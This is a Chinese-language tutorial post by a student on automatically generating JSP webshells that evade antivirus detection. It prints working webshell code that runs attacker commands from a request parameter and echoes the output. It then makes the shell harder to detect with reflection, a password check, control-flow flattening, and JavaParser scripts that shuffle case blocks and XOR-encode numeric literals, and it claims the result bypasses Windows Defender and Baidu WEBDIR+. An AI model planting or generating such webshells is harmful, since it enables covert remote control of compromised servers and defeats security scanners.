简介
前段时间笔者在研究AST相关技术和JS的混淆技巧,无意间想到,能否将一些技术和思路应用在Webshell的免杀呢?
于是尝试编写了一个自动生成免杀Webshell的工具
笔者目前本科在读,才疏学浅,错误和不足之处还请大佬指出,十分感谢!
从一句话开始
首先从一句话角度来做,给出JSP的一句话
这个Webshell是会直接被Windows Defender杀的,百度WEBDIR+也会杀
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
尝试拆开一句话,再加入回显和消除乱码,得到这样的代码
<%@ page language="java" pageEncoding="UTF-8" %> <% Runtime rt = Runtime.getRuntime(); String cmd = request.getParameter("cmd"); Process process = rt.exec(cmd); java.io.InputStream in = process.getInputStream(); // 回显 out.print("<pre>"); // 网上流传的回显代码略有问题,建议采用这种方式 java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in); java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader); String s = null; while ((s = stdInput.readLine()) != null) { out.println(s); } out.print("</pre>"); %>
绕过了Windows Defender和百度WEBDIR+
然而我们不能满足于当前的情况,因为这些平台的查杀力度并不是很强
再这个基础上,可以加入反射调用来做进一步的免杀
<%@ page language="java" pageEncoding="UTF-8" %> <% // 加入一个密码 String PASSWORD = "password"; String passwd = request.getParameter("pwd"); String cmd = request.getParameter("cmd"); if (!passwd.equals(PASSWORD)) { return; } // 反射调用 Class rt = Class.forName("java.lang.Runtime"); java.lang.reflect.Method gr = rt.getMethod("getRuntime"); java.lang.reflect.Method ex = rt.getMethod("exec", String.class); Process process = (Process) ex.invoke(gr.invoke(null), cmd); // 类似上文做回显 java.io.InputStream in = process.getInputStream(); out.print("<pre>"); java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in); java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader); String s = null; while ((s = stdInput.readLine()) != null) { out.println(s); } out.print("</pre>"); %>
以上的情况其实已经做到了足够的免杀,但是否能够进一步做免杀呢
控制流平坦化
在反射调用的基础上结合控制流平坦化的思想后,会达到怎样的效果呢
(对于控制流平坦化的概念笔者其实并不是非常清晰,大致来说就是将代码转为switch块和分发器)
以下是上文反射代码修改后的结果,可以手动也可以写脚本来生成,这并不是本文的重点
// 这里给出的是规定顺序的分发器 String dispenserArr = "0|1|2|3|4|5|6|7|8|9|10|11|12"; String[] b = dispenserArr.split("\\|"); int index = 0; // 声明变量 String passwd = null; String cmd = null; Class rt = null; java.lang.reflect.Method gr = null; java.lang.reflect.Method ex = null; Process process = null; java.io.InputStream in = null; java.io.InputStreamReader resulutReader = null; java.io.BufferedReader stdInput = null; while (true) { int op = Integer.parseInt(b[index++]); switch (op) { case 0: passwd = request.getParameter("pwd"); break; case 1: cmd = request.getParameter("cmd"); break; case 2: if (!passwd.equals(PASSWORD)) { return; } break; case 3: rt = Class.forName("java.lang.Runtime"); break; case 4: gr = rt.getMethod("getRuntime"); break; case 5: ex = rt.getMethod("exec", String.class); break; case 6: process = (Process) ex.invoke(gr.invoke(null), cmd); break; case 7: in = process.getInputStream(); break; case 8: out.print("<pre>"); break; case 9: resulutReader = new java.io.InputStreamReader(in); break; case 10: stdInput = new java.io.BufferedReader(resulutReader); case 11: String s = null; while ((s = stdInput.readLine()) != null) { out.println(s); } break; case 12: out.print("</pre>"); break; } }
注意到在开头定义了0|1|2|3|4|5|6|7|8|9|10|11|12这样的字符串,其中数字的顺序对应了switch块中的执行顺序,当前是从第0条到第12条执行
在进入switch之前,需要实现声明变量,否则在Java的语法下,单一case语句的变量无法被其他case语句获取
当执行完命令后,变量index会超过最大索引,导致报错停止脚本,所以并不会出现占用服务端资源的情况
然而在这种情况下,分发器中的数字顺序是一定的,case块的顺序也是一定的,所以需要打乱这些变量实现混淆和免杀
笔者使用了Java的AST库JavaParser解析代码并实现这样的功能
if (target instanceof StringLiteralExpr) { // StringLiteralExpr对象就是简单的字符串 String value = ((StringLiteralExpr) target).getValue(); // 如果包含了这个符号认为是分发器 if (value.contains("|")) { String[] a = value.split("\\|"); int length = a.length; // 一个简单的数组打乱算法 for (int i = length; i > 0; i--) { int randInd = rand.nextInt(i); String temp = a[randInd]; a[randInd] = a[i - 1]; a[i - 1] = temp; } // 打乱后的数字再用|拼起来 StringBuilder sb = new StringBuilder(); for (String s : a) { sb.append(s).append("|"); } String finalStr = sb.toString(); finalStr = finalStr.substring(0, finalStr.length() - 1); // 打乱后的分发器设置回去 ((StringLiteralExpr) target).setValue(finalStr); result = finalStr; } }
打乱switch-case块的代码
String[] a = target.split("\\|"); // 得到Switch语句为了后文的替换 SwitchStmt stmt = method.findFirst(SwitchStmt.class).isPresent() ? method.findFirst(SwitchStmt.class).get() : null; if (stmt == null) { return; } // 得到所有的Case块 List<SwitchEntry> entryList = method.findAll(SwitchEntry.class); for (int i = 0; i < entryList.size(); i++) { // Case块的Label是数字 if (entryList.get(i).getLabels().get(0) instanceof IntegerLiteralExpr) { // 拿到具体的数字对象IntegerLiteralExpr IntegerLiteralExpr expr = (IntegerLiteralExpr) entryList.get(i).getLabels().get(0); // 设置为分发器对应的顺序数字 expr.setValue(a[i]); } } // 打乱Case块集合 NodeList<SwitchEntry> switchEntries = new NodeList<>(); Collections.shuffle(entryList); switchEntries.addAll(entryList); // 塞回原来的Switch中 stmt.setEntries(switchEntries);
经过打乱后的效果还是比较满意的
String dispenserArr = "1|2|9|4|11|10|3|8|7|12|5|0|6"; String[] b = dispenserArr.split("\\|"); ... while (true) { int op = Integer.parseInt(b[index++]); switch(op) { case 11: gr = rt.getMethod("getRuntime"); break; case 0: String s = null; while ((s = stdInput.readLine()) != null) { out.println(s); } break; case 5: stdInput = new java.io.BufferedReader(resulutReader); case 12: resulutReader = new java.io.InputStreamReader(in); break; case 4: rt = Class.forName("java.lang.Runtime"); break; ... } }
异或加密数字
异或加密很简单:a^b=c那么a^c=b
如果a变量是加密的目标,我们就可以随机一个b,计算得到的c和b异或回到原来的a
对于其中的数字,可以采用异或加密,并可以使用多重
而笔者发现其中的数字变量其实并不够多,那么如何造出来更多的数字变量呢?
把字符串变量都提到全局数组,然后用数组访问的方式使用字符串
String[] globalArr = new String[]{"0|1|2|3|4|5|6|7|8|9|10|11|12|13", "pwd", "cmd", "java.lang.Runtime", "getRuntime", "exec", "<pre>", "</pre>"}; String temp = globalArr[0]; String[] b = temp.split("\\|"); ... while (true) { int op = Integer.parseInt(b[index++]); switch (op) { case 0: passwd = request.getParameter(globalArr[1]); break; case 1: cmd = request.getParameter(globalArr[2]); break; ... } }
这时候的globalArr[1]调用方式就可以用异或加密了
Random random = new Random(); random.setSeed(System.currentTimeMillis()); // 遍历所有的简单数字对象 List<IntegerLiteralExpr> integers = method.findAll(IntegerLiteralExpr.class); for (IntegerLiteralExpr i : integers) { // 原来的数字a int value = Integer.parseInt(i.getValue()); // 随机的数字b int key = random.nextInt(1000000) + 1000000; // c=a^b int cipherNum = value ^ key; // 用一个括号包裹a^b防止异常 EnclosedExpr enclosedExpr = new EnclosedExpr(); BinaryExpr binaryExpr = new BinaryExpr(); // 构造一个c^b binaryExpr.setLeft(new IntegerLiteralExpr(String.valueOf(cipherNum))); binaryExpr.setRight(new IntegerLiteralExpr(String.valueOf(key))); binaryExpr.setOperator(BinaryExpr.Operator.XOR); // 塞回去 enclosedExpr.setInner(binaryExpr); i.replace(enclosedExpr); }
双重异或加密后的效果
String[] globalArr = new String[] { "1|11|13|9|5|8|12|3|4|2|10|6|7|0", "pwd", "cmd", "java.lang.Runtime", "getRuntime", "exec", "<pre>", "</pre>" }; String temp = globalArr[((1913238 ^ 1011481) ^ (432471 ^ 1361880))]; ... int index = ((4813 ^ 1614917) ^ (381688 ^ 1926256)); ... while (true) { int op = Integer.parseInt(b[index++]); switch(op) { case ((742064 ^ 1861497) ^ (1601269 ^ 1006398)): out.print(globalArr[((367062 ^ 1943510) ^ (1568013 ^ 1037067))]); break; case ((108474 ^ 1265634) ^ (575043 ^ 1715728)): cmd = request.getParameter(globalArr[((735637 ^ 1455096) ^ (115550 ^ 1886513))]); break; case ((31179 ^ 1437731) ^ (335232 ^ 1086562)): resulutReader = new java.io.InputStreamReader(in); break; ... } }